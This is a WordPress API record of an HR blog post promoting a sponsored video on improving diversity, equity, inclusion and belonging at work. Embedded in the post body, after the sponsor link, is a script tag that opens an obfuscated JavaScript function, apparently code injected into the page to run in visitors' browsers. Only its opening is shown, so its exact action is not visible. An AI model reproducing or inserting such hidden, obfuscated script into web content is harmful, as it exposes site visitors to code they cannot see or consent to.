{"id":152908,"date":"2023-01-04T13:29:41","date_gmt":"2023-01-04T13:29:41","guid":{"rendered":"http:\/\/63b37725106fbe2c130a3996"},"modified":"2023-01-04T13:29:41","modified_gmt":"2023-01-04T13:29:41","slug":"improving-deib-strategies-for-success","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2023\/01\/04\/improving-deib-strategies-for-success\/","title":{"rendered":"Improving DEIB: Strategies for Success"},"content":{"rendered":"<div class=\"mb-3\"> <a href=\"https:\/\/www.hrexchangenetwork.com\/content-hub\/talent-exchange-live\"> <img width=\"1024\" height=\"154\" data-src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/01\/improving-deib-strategies-for-success.jpg\" title class=\"img-fluid lazy\"> <\/a> <\/div>\n<p> <a class=\"btn\" href=\"https:\/\/www.hrexchangenetwork.com\/user\/login\"><i class=\"fas fa-bookmark mr-2\"><\/i> Add bookmark<\/a> <\/p>\n<hr class=\"mb-2\">\n<hr>\n<hr>\n<p> As organizations increasingly recognize people as their greatest assets, they need to invest in the employee experience as well. When organizations get employee experience and diversity, equity, inclusion, and belonging right, they can achieve twice the customer satisfaction and innovation, and generate 25% higher profits than those that don\u2019t. Yet research from Deloitte shows that only 9% of business leaders believe they are currently ready to address the issue adequately.&nbsp;<br \/>\nKey Take&#8230; <\/p>\n<div id=\"form\">\n<div class=\"mb-3 card clearfix w-100 p-0 shadow-effect\">\n<div class=\"card-body bg-channel-grey\">\n<h6 class=\"card-title text-center\"> <strong>To watch this video get free access<\/strong> <\/h6>\n<hr><\/div>\n<\/div><\/div>\n<div class=\"d-flex mb-3 align-items-center\">\n<p> <strong>Sponsored By:<\/strong> <\/p>\n<div> <a href=\"https:\/\/www.hrexchangenetwork.com\/hr-talent-management\/videos\/improving-deib-strategies-for-success\" target=\"_blank\" rel=\"noopener noreferrer\"> <img data-src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/01\/improving-deib-strategies-for-success.png\" title=\"HR Exchange Network\" class=\"pl-3 lazy\"> <\/a> <\/div>\n<\/p><\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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people as their greatest assets, they need to invest in the employee experience as well. When organizations get employee experience and diversity, equity, inclusion, and belonging right, they can achieve twice the customer satisfaction and innovation, and generate 25% higher profits than those that don\u2019t. Yet research from Deloitte [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":152909,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[225],"tags":[],"class_list":["post-152908","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hrtechtrends"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/152908","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=152908"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/152908\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media\/152909"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=152908"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=152908"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=152908"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}